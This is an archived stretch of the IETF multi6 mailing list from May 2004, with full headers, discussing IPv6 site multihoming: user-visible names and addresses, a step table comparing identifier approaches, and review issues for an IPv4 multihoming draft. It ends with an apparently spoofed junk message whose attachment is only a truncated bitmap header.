	id 1BTFF6-0007lN-I3
	for multi6@ops.ietf.org; Thu, 27 May 2004 07:23:56 +0000
Received: from [127.0.0.1] (sequoia.muada.com [83.149.65.1])
	by sequoia.muada.com (8.12.10/8.12.10) with ESMTP id i4R7NS1C091331;
	Thu, 27 May 2004 09:23:28 +0200 (CEST)
	(envelope-from iljitsch@muada.com)
In-Reply-To: <DADF50F5EC506B41A0F375ABEB3206360143BF67@esebe023.ntc.nokia.com>
References: <DADF50F5EC506B41A0F375ABEB3206360143BF67@esebe023.ntc.nokia.com>
Mime-Version: 1.0 (Apple Message framework v613)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <CB8813A4-AFAE-11D8-8E28-000A95CD987A@muada.com>
Content-Transfer-Encoding: 7bit
Cc: <multi6@ops.ietf.org>
From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: the 9 step program
Date: Thu, 27 May 2004 09:23:48 +0200
To: <john.loughney@nokia.com>
X-Mailer: Apple Mail (2.613)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

On 27-mei-04, at 7:13, <john.loughney@nokia.com> wrote:

> Could you clarify what you mean by user below?  Is it what is
> exposed to the application or something else.  User can imply
> human user, but I am not so sure about your meaning.

Yes, I mean the human user. I suppose there are some applications where 
there are no user-visible names or addresses, but usually there is: the 
FQDN part of an URL, the FQDN part of an email address, the FQDN used 
in telnet/ftp/ssh, various server names/addresses... The interesting 
part is that this is usually a character string that can either be a 
simple hostname, an FQDN, a literal IPv4 address or a literal IPv6 
address.




From owner-multi6@ops.ietf.org  Thu May 27 04:00:26 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA06333
	for <multi6-archive@lists.ietf.org>; Thu, 27 May 2004 04:00:26 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BTFmk-000Ief-St
	for multi6-data@psg.com; Thu, 27 May 2004 07:58:42 +0000
Received: from [131.228.20.27] (helo=mgw-x4.nokia.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BTFmj-000IdO-KX
	for multi6@ops.ietf.org; Thu, 27 May 2004 07:58:41 +0000
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i4R7wbo06797;
	Thu, 27 May 2004 10:58:38 +0300 (EET DST)
X-Scanned: Thu, 27 May 2004 10:58:25 +0300 Nokia Message Protector V1.3.30 2004040916 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i4R7wPbx016771;
	Thu, 27 May 2004 10:58:25 +0300
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00dpLUkx; Thu, 27 May 2004 10:58:22 EEST
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i4R7XTH12889;
	Thu, 27 May 2004 10:33:29 +0300 (EET DST)
Received: from esebh005.NOE.Nokia.com ([172.21.138.86]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 27 May 2004 10:33:00 +0300
Received: from esebe023.NOE.Nokia.com ([172.21.138.115]) by esebh005.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 27 May 2004 10:32:59 +0300
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: the 9 step program
Date: Thu, 27 May 2004 10:32:59 +0300
Message-ID: <DADF50F5EC506B41A0F375ABEB3206360143BF70@esebe023.ntc.nokia.com>
Thread-Topic: the 9 step program
Thread-Index: AcRDvBWusb5Lci/gRLOdXOJIHdwBmQAABkSg
From: <john.loughney@nokia.com>
To: <iljitsch@muada.com>
Cc: <multi6@ops.ietf.org>
X-OriginalArrivalTime: 27 May 2004 07:32:59.0733 (UTC) FILETIME=[D60D6050:01C443BC]
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.6 required=5.0 tests=AWL,BAYES_00,NO_REAL_NAME 
	autolearn=no version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: quoted-printable

Hi Iljitsch,

> > Could you clarify what you mean by user below?  Is it what is
> > exposed to the application or something else.  User can imply
> > human user, but I am not so sure about your meaning.
>=20
> Yes, I mean the human user. I suppose there are some applications =
where=20
> there are no user-visible names or addresses, but usually there is: =
the=20
> FQDN part of an URL, the FQDN part of an email address, the FQDN used=20
> in telnet/ftp/ssh, various server names/addresses... The interesting=20
> part is that this is usually a character string that can either be a=20
> simple hostname, an FQDN, a literal IPv4 address or a literal IPv6=20
> address.

OK, so your point was:

> 1. The name or address value as it appears to the user. (FQDN, textual =

> representation of an IPv4 or IPv6 address, port number usually=20
> implied.)

WRT to Multi6, I think that this should be a non-goal - you seem to
be pre-supposing that the user may see the name.  I would imagine
we have many possiblities, not restricted to:

1) URI, FQDN, etc. <-> multi6 name <-> IP address used (shim layer)
2) Multi6 address is in the form of some URI, FQDN, etc. (application =
level address)
3) Multi6 address is in the form of an IP address (something like HIP)

I'm not sure worry about this point is useful.

thanks,
John



From owner-multi6@ops.ietf.org  Thu May 27 05:00:16 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA08873
	for <multi6-archive@lists.ietf.org>; Thu, 27 May 2004 05:00:16 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BTGhi-000764-98
	for multi6-data@psg.com; Thu, 27 May 2004 08:57:34 +0000
Received: from [83.149.65.1] (helo=sequoia.muada.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BTGhg-00075T-L2
	for multi6@ops.ietf.org; Thu, 27 May 2004 08:57:33 +0000
Received: from [127.0.0.1] (sequoia.muada.com [83.149.65.1])
	by sequoia.muada.com (8.12.10/8.12.10) with ESMTP id i4R8SL1C092465;
	Thu, 27 May 2004 10:28:24 +0200 (CEST)
	(envelope-from iljitsch@muada.com)
In-Reply-To: <DADF50F5EC506B41A0F375ABEB3206360143BF70@esebe023.ntc.nokia.com>
References: <DADF50F5EC506B41A0F375ABEB3206360143BF70@esebe023.ntc.nokia.com>
Mime-Version: 1.0 (Apple Message framework v613)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <DBC1A664-AFB7-11D8-8E28-000A95CD987A@muada.com>
Content-Transfer-Encoding: 7bit
Cc: <multi6@ops.ietf.org>
From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: the 9 step program
Date: Thu, 27 May 2004 10:28:40 +0200
To: <john.loughney@nokia.com>
X-Mailer: Apple Mail (2.613)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

On 27-mei-04, at 9:32, <john.loughney@nokia.com> wrote:

> OK, so your point was:

>> 1. The name or address value as it appears to the user. (FQDN, textual
>> representation of an IPv4 or IPv6 address, port number usually
>> implied.)

This isn't really a point... I was just listing the places where 
names/addresses are used in some way in IP communication. This is one 
of them.

> WRT to Multi6, I think that this should be a non-goal - you seem to
> be pre-supposing that the user may see the name.

Someone has to see something to begin with. After that there can be 
invisible referrals.

> I would imagine we have many possiblities, not restricted to:

> 1) URI, FQDN, etc. <-> multi6 name <-> IP address used (shim layer)
> 2) Multi6 address is in the form of some URI, FQDN, etc. (application 
> level address)
> 3) Multi6 address is in the form of an IP address (something like HIP)

So how does 1 compare to 3? Having a special multi6 name (apart from 
the FQDN) that isn't in the form of an IPv6 address seems like asking 
for trouble to me.

I think the "9 step program" illuminates the difference between 2 and 3:

     Regular IP       multi6=fqdn   multi6=address
1.  s=0, d=FQDNX     unchanged     unchanged
2.   | s=A, d=X      changes req.  unchanged
3.   | s=A, d=X      depends       changes req.
4.   | s=A, d=X      depends       depends
--- i --- n ---   --- t --- r --- a --- n --- s --- i --- t ---
5.   | s=A, d=X      depends       depends
6.   | s=A, d=X      depends       depends
7.   | s=A, d=X      depends       changes req.
8.   | s=A, d=X      changes req.  unchanged
9.  s=FQDNA, d=X     unchanged     unchanged    <-- (firewalling issues)

Referrals:           changes req.  depends

> I'm not sure worry about this point is useful.

I'm not worried.  :-)




From owner-multi6@ops.ietf.org  Thu May 27 09:33:32 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24479
	for <multi6-archive@lists.ietf.org>; Thu, 27 May 2004 09:33:31 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BTKxe-0007Dy-JJ
	for multi6-data@psg.com; Thu, 27 May 2004 13:30:18 +0000
Received: from [192.71.80.74] (helo=laptop2.kurtis.pp.se)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BTKxV-0007D2-31
	for multi6@ops.ietf.org; Thu, 27 May 2004 13:30:09 +0000
Received: from [127.0.0.1] (localhost [127.0.0.1])
	by laptop2.kurtis.pp.se (Postfix) with ESMTP
	id CAA5542A3F9; Thu, 27 May 2004 15:30:09 +0200 (CEST)
In-Reply-To: <40B492AB.2000807@zurich.ibm.com>
References: <40B1F601.7050304@zurich.ibm.com> <CC2D22F4-AEEF-11D8-8E28-000A95CD987A@muada.com> <40B45DB2.9050703@zurich.ibm.com> <100F5EB5-AEF6-11D8-8E28-000A95CD987A@muada.com> <40B492AB.2000807@zurich.ibm.com>
Mime-Version: 1.0 (Apple Message framework v613)
Content-Type: text/plain; charset=US-ASCII; format=fixed
Message-Id: <5C3AAF30-AFBD-11D8-B67F-000A95928574@kurtis.pp.se>
Content-Transfer-Encoding: 7bit
Cc: Multi6 <multi6@ops.ietf.org>, Iljitsch van Beijnum <iljitsch@muada.com>
From: Kurt Erik Lindqvist <kurtis@kurtis.pp.se>
Subject: Re: Slightly updated announcement for interim meeting
Date: Thu, 27 May 2004 11:08:03 +0200
To: Brian E Carpenter <brc@zurich.ibm.com>
X-Pgp-Rfc2646-Fix: 1
X-Mailer: Apple Mail (2.613)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.3 required=5.0 tests=AWL,BAYES_00,
	DATE_IN_PAST_03_06 autolearn=no version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


On 2004-05-26, at 14.50, Brian E Carpenter wrote:

> ...
>>> whereas jabber has a good chance of working even if the
>>> network is spotty. So I think we should go for jabber anyway. If 
>>> anyone
>>> volunteers to run audio streaming, so much the better.
>> I'll see what I can do. Will we be using microphones?
>
> Thanks! Yes, at least we are paying for audio support.

As for this. I am bringing my iSight so we could even try and do the 
ad-hoc streaming we did from Seoul, but that means that I will be 
without my laptop for the day. So I guess I have to actually listen 
then :-) But we could talk about this off-line.

- - kurtis -

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0.3

iQA/AwUBQLWv+aarNKXTPFCVEQJNywCg69Fg1yIOShi9rYwNv2ts0SYkJ7MAnj2g
+Z6VAWgxBnczBJZ8v66LN+9x
=Bef8
-----END PGP SIGNATURE-----




From owner-multi6@ops.ietf.org  Thu May 27 09:33:38 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA24505
	for <multi6-archive@lists.ietf.org>; Thu, 27 May 2004 09:33:37 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BTKxp-0007IG-ET
	for multi6-data@psg.com; Thu, 27 May 2004 13:30:29 +0000
Received: from [192.71.80.74] (helo=laptop2.kurtis.pp.se)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BTKxd-0007Du-VL
	for multi6@ops.ietf.org; Thu, 27 May 2004 13:30:18 +0000
Received: from [127.0.0.1] (localhost [127.0.0.1])
	by laptop2.kurtis.pp.se (Postfix) with ESMTP id 61EC742A404
	for <multi6@ops.ietf.org>; Thu, 27 May 2004 15:30:18 +0200 (CEST)
Mime-Version: 1.0 (Apple Message framework v613)
Content-Transfer-Encoding: 7bit
Message-Id: <214B7883-AFB2-11D8-B67F-000A95928574@kurtis.pp.se>
Content-Type: text/plain; charset=US-ASCII; format=fixed
To: Multi6 List <multi6@ops.ietf.org>
From: Kurt Erik Lindqvist <kurtis@kurtis.pp.se>
Subject: draft-ietf-multi6-v4-multihoming-00.txt
Date: Thu, 27 May 2004 09:47:40 +0200
X-Pgp-Rfc2646-Fix: 1
X-Mailer: Apple Mail (2.613)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.3 required=5.0 tests=AWL,BAYES_00,
	DATE_IN_PAST_03_06 autolearn=no version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

	

I thought I had already sent a mail like this to the list but when I 
was curious as to why I didn't get any replies I realized that it never 
made it to the list. So here we go again.

Me and Brian have decided that I would update the above draft. For this 
work, Brian will be the chair.


I have gone through the list archive looking for comments and have made 
the list below of issues. I also know that more people have comments. 
Please send any additional comments to the list and I will try and get 
a updated version out soon.


Best regards,

- - kurtis -

Issue 1
Pekka Savola
2003-01-31

The draft lists the following:

3. Motivations for Multihoming
3.1 Redundancy
3.2 Load Sharing
3.3 Performance
3.4 Policy

I'd like to propose an additional item, "3.0 Independence".

It's only implicitly included under Policy, and technically (mostly)
included under redundancy.. but it seems to me that it is a major reason
for certain solutions, and a critical reason why many IPv6 site
multihoming solutions are not considered adequate.


=====

Issue 2
Pekka Savola
2003-01-31

3. Motivations for Multihoming

==> this section should be removed completely, as it is duplicated
in the multihoming goals document now.


====

Issue 3
Pekka Savola
2003-01-31

4. Features of IPv4 Multihoming

==> this document assumes a prior knowledge of what "*THE* IPv4
multihoming solution" is.  This has not been described anywhere.
So, I'd propose to add a new section to replace sect 3 to describe
a few common ways of doing it.  There should be enough meat here, as
I had 16 pages of analysis of current methods in my thesis about
site multihoming.

basically, I think you can divide the IPv4 multihoming techniques
to about five different types:

  1) multihoming using your own AS number and your own prefix,
     advertising them through multiple providers.

  2) multihoming using your own AS number, but advertising
     a more specific prefix from one of your ISPs.  Some of these
     are multihomers (the backup is through the ISP which announces
     the aggregate), some have just bought the prefix when they
     changed ISP.

  3) multihoming with your own prefix, but without your own (public)
     AS number.  As the cost of the AS is low, this is rather rare.
     The customer uses private AS numbers or the ISP proxy-advertises
     the prefixes.  Nondistinguishable from "origin theft" as multiple
     AS's seem to be originating the same prefix.

  4) multi-attaching multiple times to an ISP, even though not
     strictly multihoming, is also popular.  This is a very simple
     operation, and often the tradeoffs (unless you want independence
     as a multihoming motivation) are acceptable if you pick the right
     provider.

  5) employing NAT-based or RFC2260 -like solutions (you could also
     separate these two) to achieve at least some multihoming
     benefits.  Typically you cannot get everything, but for some,
     this has been enough.

In section 4, you've analyzed only 1).  This may be OK, as the
characteristics are similar with the other major method, 2).  But
this needs to be spelled out.  Another way would be analyzing each
of these in turn, or the like.

=====

Issue 4
Pekka Savola
2003-01-31


==> you should also include the analysis of the "additional features"
of the multihoming goals document wrt IPv4 multihoming, I guess?

=====

Issue 5
Pekka Savola
2003-01-31

==> the lists are also not up-to-date, as you don't list e.g. DNS or
packet filtering.


====

Issue 6
Pekka Savola
2003-01-31

6. Security Considerations

    Security considerations are not discussed in this draft.

==> this must be a flame-bait :), so replace it with something like:

    This memo analyzes the IPv4 multihoming practices.  This analysis
    only includes the description of the mechanisms and partially how
    they affect the availability of the site deploying the IPv4
    multihoming mechanism.  Other security properties of the IPv4
    multihoming mechanisms are not analyzed.


=====

Issue 7
Pekka Savola
2003-01-31

5. Limitations of IPv4 Multihoming

5.1 Scalability

==> I'd also add here something like:

    These mechanisms also add to the consumption of public AS number
    resources, when small sites wishing to multihome obtain an AS
    number specifically for only that purpose.  Using a different
    mechanism would help to conserve the 16-bit AS number space, and
    avoid the move to 32-bit AS numbers.


====

Issue 8
Pekka Savola
2003-01-31


==> throughout the document, one uses "enterprises" rather than "sites"
- -- is this intentional?



=====

Issue 9
Pekka Savola
2003-01-31

Abstract

    Multihoming is an essential component of service for enterprises [3]
    which are part of the Internet.  This draft describes some of the
    motivations, practices and limitations of multihoming as it is
    achieved in the IPv4 world today.

    The context for this discussion is the requirements analysis for site
    multihoming in IPv6, which is described in a companion draft [1].

==> the abstract must not include references



====

Issue 10
Pekka Savola
2003-01-31

2. Terminology

    The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT",
    "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this
    document are to be interpreted as described in RFC 2119 [4].

==> these terms can be removed, they shouldn't be used in a document
like this anyway.



=====

Issue 11
Pekka Savola
2003-01-31

References

==> references need to split to informative and normative.

=====

Issue 12
- -------- Original Message --------
Subject: IPv4 multihoming limitations
Date: Sat, 3 May 2003 13:43:34 +0200
From: Iljitsch van Beijnum <iljitsch@muada.com>
To: Joe Abley <jabley@isc.org>
CC: Kurt Erik Lindqvist <kurtis@kurtis.pp.se>, multi6@ops.ietf.org

On vrijdag, mei 2, 2003, at 20:15 Europe/Amsterdam, Joe Abley wrote:

There are quite a few limitations for people that want to multihome in 
v4. Not everyone may be aware of those and subsequently underestimate 
the latent need for multihoming. So it might be good to document this 
after all.

I am still very happy to collate ideas and edit that document, if 
people are happy for me to do so.

Ok, here is some text:

The preferred way to multihome in IPv4 is to announce an independent
block of address space over two or more ISPs using BGP. Until the
mid-1990s this was relatively easy to accomplish, as the maximum
generally accepted prefix length in the global routing table was a /24,
and little justification was needed to receive a /24. However, in 1995
the growth of the global routing table became a problem once again, and
as a result Sprint decided to start filtering prefixes it accepted from
peers based on prefix length. This broke the expectation that a
multihomed network announcing a /24, regardless of where in the IPv4
address space this /24 was taken from, would be globally reachable.

Over the course of the next several years, filtering on Regional
Internet Registry allocation boundaries became accepted, if not
widespread, practice. As of the late 1990s the RIRs allocate address
space to those requesting it from them directly (mostly ISPs) in blocks
of at least a /20. The address space in 192.0.0.0/8 and part of
193.0.0.0/8 was allocated before CIDR was developed so it still
contains a large number of much smaller blocks. This part of the IPv4
address space is often called "the swamp". The networks that filter on
prefix length typically accept much larger prefixes from swamp space.

In the mean time, RIR address distribution policies became increasingly
more restrictive. The result of these two developments is that it is
nearly impossible for an non-ISP organization to obtain a large enough
block of address space to be sure its BGP announcement isn't filtered.
Multihomers are often forced to work around this by taking regular
provider aggregatable (PA) rather than the traditional
provider-independent (PI) address space from one of their ISPs and
announce this prefix to two ISPs. In theory, announcing this prefix to
the secondary ISP would be enough as reachability over the primary ISP
is assured by the aggregate this ISP announces. However, due to the
"longest match first" rule, traffic would exclusively flow over the
path with the longer prefix. So in practice the multihomer announces
the longer prefix both over the ISP that announces the aggregate and
over one or more secondary ISPs.

This practice has two advantages and one disadvantage for the
multihomed network. The first advantage is that they can obtain a much
smaller block of address space from an ISP than from a RIR. (Would-be
multihomers still often optimize their networks for qualifying for at
least a /24 by adopting accepted but relatively wasteful address
deployment strategies.) The second advantage is that even if their
announcement is filtered, they are still reachable over the primary ISP
by virtue of the aggregate announced by this ISP. Even when the circuit
to the primary ISP is down, this often works because the primary ISP
will generally accept the announcement over the secondary ISP, so
traffic flows from the filtering network to the primary ISP and then to
the secondary ISP in order to arrive at the multihomed network.

The disadvantage is that the multihomed network must depend on the
primary ISP for the aggregate. If the primary ISP goes down, this will
impact reachability to networks that filter. And when the multihomed
network leaves the primary ISP, they are generally expected to return
the address space because otherwise this ISP would have to route
traffic for a non-customer. Most ISPs will cooperate with this
"shooting holes in an aggregate" solution to multihoming, but some are
reluctant.





-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0.3

iQA/AwUBQLWdIKarNKXTPFCVEQKQlgCfd8pSi1Q/F87ncH55P//iNImC67AAoPcU
bnsKrl6Y0XkJv5XN0NRrNd2y
=evJc
-----END PGP SIGNATURE-----




From owner-multi6@ops.ietf.org  Thu May 27 09:48:26 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA25384
	for <multi6-archive@lists.ietf.org>; Thu, 27 May 2004 09:48:26 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BTLDJ-000An1-OL
	for multi6-data@psg.com; Thu, 27 May 2004 13:46:29 +0000
Received: from [195.212.29.151] (helo=mtagate2.de.ibm.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BTLD3-000AlA-SO
	for multi6@ops.ietf.org; Thu, 27 May 2004 13:46:14 +0000
Received: from d12nrmr1607.megacenter.de.ibm.com (d12nrmr1607.megacenter.de.ibm.com [9.149.167.49])
	by mtagate2.de.ibm.com (8.12.10/8.12.10) with ESMTP id i4RDjJlg060938;
	Thu, 27 May 2004 13:45:19 GMT
Received: from sihl.zurich.ibm.com (sihl.zurich.ibm.com [9.4.16.232])
	by d12nrmr1607.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4RDjI9V160068;
	Thu, 27 May 2004 15:45:18 +0200
Received: from zurich.ibm.com (dyn-9-13-126-72.ge.ch.ibm.com [9.13.126.72])
	by sihl.zurich.ibm.com (AIX4.3/8.9.3p2/8.9.3) with ESMTP id PAA28264;
	Thu, 27 May 2004 15:45:17 +0200
Message-ID: <40B5F0F1.2070503@zurich.ibm.com>
Date: Thu, 27 May 2004 15:45:21 +0200
From: Brian E Carpenter <brc@zurich.ibm.com>
Organization: IBM
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en, fr, de
MIME-Version: 1.0
To: Iljitsch van Beijnum <iljitsch@muada.com>
CC: john.loughney@nokia.com, multi6@ops.ietf.org
Subject: Re: the 9 step program
References: <DADF50F5EC506B41A0F375ABEB3206360143BF70@esebe023.ntc.nokia.com> <DBC1A664-AFB7-11D8-8E28-000A95CD987A@muada.com>
In-Reply-To: <DBC1A664-AFB7-11D8-8E28-000A95CD987A@muada.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

Iljitsch van Beijnum wrote:
> On 27-mei-04, at 9:32, <john.loughney@nokia.com> wrote:
> 
>> OK, so your point was:
> 
> 
>>> 1. The name or address value as it appears to the user. (FQDN, textual
>>> representation of an IPv4 or IPv6 address, port number usually
>>> implied.)
> 
> 
> This isn't really a point... I was just listing the places where 
> names/addresses are used in some way in IP communication. This is one of 
> them.
> 
>> WRT to Multi6, I think that this should be a non-goal - you seem to
>> be pre-supposing that the user may see the name.
> 
> 
> Someone has to see something to begin with. After that there can be 
> invisible referrals.
> 
>> I would imagine we have many possiblities, not restricted to:
> 
> 
>> 1) URI, FQDN, etc. <-> multi6 name <-> IP address used (shim layer)
>> 2) Multi6 address is in the form of some URI, FQDN, etc. (application 
>> level address)
>> 3) Multi6 address is in the form of an IP address (something like HIP)
> 
> 
> So how does 1 compare to 3? Having a special multi6 name (apart from the 
> FQDN) that isn't in the form of an IPv6 address seems like asking for 
> trouble to me.
> 
> I think the "9 step program" illuminates the difference between 2 and 3:
> 
>     Regular IP       multi6=fqdn   multi6=address
> 1.  s=0, d=FQDNX     unchanged     unchanged
> 2.   | s=A, d=X      changes req.  unchanged
> 3.   | s=A, d=X      depends       changes req.
> 4.   | s=A, d=X      depends       depends
> --- i --- n ---   --- t --- r --- a --- n --- s --- i --- t ---
> 5.   | s=A, d=X      depends       depends
> 6.   | s=A, d=X      depends       depends
> 7.   | s=A, d=X      depends       changes req.
> 8.   | s=A, d=X      changes req.  unchanged
> 9.  s=FQDNA, d=X     unchanged     unchanged    <-- (firewalling issues)
> 
> Referrals:           changes req.  depends
> 
>> I'm not sure worry about this point is useful.
> 
> 
> I'm not worried.  :-)

Two other comments on this.

1. There will be many cases where there is no user (at least at run
time) to admire the FQDN on her screen. FQDNs will for example be buried
in automatically generated XML documents that are used to trigger network
access in a Web Services environment.

2. FQDNs are now internationalized, so they cannot be assumed to be
ASCII strings at all times - in some contexts they will be Unicode.

    Brian



From owner-multi6@ops.ietf.org  Thu May 27 10:55:13 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA00193
	for <multi6-archive@lists.ietf.org>; Thu, 27 May 2004 10:55:13 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BTMFK-000NBj-Ox
	for multi6-data@psg.com; Thu, 27 May 2004 14:52:38 +0000
Received: from [83.149.65.1] (helo=sequoia.muada.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BTMF3-000N9g-CH
	for multi6@ops.ietf.org; Thu, 27 May 2004 14:52:21 +0000
Received: from [127.0.0.1] (sequoia.muada.com [83.149.65.1])
	by sequoia.muada.com (8.12.10/8.12.10) with ESMTP id i4REps1C098984;
	Thu, 27 May 2004 16:51:57 +0200 (CEST)
	(envelope-from iljitsch@muada.com)
In-Reply-To: <40B5F0F1.2070503@zurich.ibm.com>
References: <DADF50F5EC506B41A0F375ABEB3206360143BF70@esebe023.ntc.nokia.com> <DBC1A664-AFB7-11D8-8E28-000A95CD987A@muada.com> <40B5F0F1.2070503@zurich.ibm.com>
Mime-Version: 1.0 (Apple Message framework v613)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <70ACDDE8-AFED-11D8-8E28-000A95CD987A@muada.com>
Content-Transfer-Encoding: 7bit
Cc: Multi6 <multi6@ops.ietf.org>
From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: the 9 step program
Date: Thu, 27 May 2004 16:52:13 +0200
To: Brian E Carpenter <brc@zurich.ibm.com>
X-Mailer: Apple Mail (2.613)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

On 27-mei-04, at 15:45, Brian E Carpenter wrote:

>>> I'm not sure worry about this point is useful.

>> I'm not worried.  :-)

> Two other comments on this.

> 1. There will be many cases where there is no user (at least at run
> time) to admire the FQDN on her screen. FQDNs will for example be 
> buried
> in automatically generated XML documents that are used to trigger 
> network
> access in a Web Services environment.

Ok, in v2 I'll make this "the FQDN or textual representation which is 
presented to the user if applicable".

> 2. FQDNs are now internationalized, so they cannot be assumed to be
> ASCII strings at all times - in some contexts they will be Unicode.

In other words, the address is transformed from Unicode to ASCII and/or 
the other way around at some point. I think we can safely ignore this 
for the purposes of multihoming, at least until we've reached the 
lowest level of detail.




From owner-multi6@ops.ietf.org  Fri May 28 10:14:01 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA03426
	for <multi6-archive@lists.ietf.org>; Fri, 28 May 2004 10:14:00 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BTi4P-000EPq-Uj
	for multi6-data@psg.com; Fri, 28 May 2004 14:10:49 +0000
Received: from [193.136.195.3] (helo=gab54-1.com)
	by psg.com with smtp (Exim 4.30; FreeBSD)
	id 1BTi4L-000EP4-Li
	for multi6@ops.ietf.org; Fri, 28 May 2004 14:10:45 +0000
Date: Fri, 28 May 2004 15:16:24 +0000
To: "Multi" <multi6@ops.ietf.org>
From: "Kurtis" <kurtis@kurtis.pp.se>
Subject: RE: Text message
Message-ID: <evpcqyvcoxsvlrsfcgf@ops.ietf.org>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------qyrxrmqkivdrueowttsw"
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=0.5 required=5.0 tests=AWL,BAYES_44,
	HTML_IMAGE_ONLY_02,HTML_MESSAGE,MIME_HTML_ONLY autolearn=no 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

----------qyrxrmqkivdrueowttsw
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
<img src="cid:sszcyozdbf.bmp"><br>
</body></html>

----------qyrxrmqkivdrueowttsw
Content-Type: image/bmp; name="sszcyozdbf.bmp"
Content-Disposition: attachment; filename="sszcyozdbf.bmp"
Content-ID: <sszcyozdbf.bmp>
Content-Transfer-Encoding: base64

Qk2eDwAAAAAAADYAAAAoAAAAcwAAABEAAAABABAAAAAAAGgPAAAAAAAAAAAAAAAAAAAAAAAA
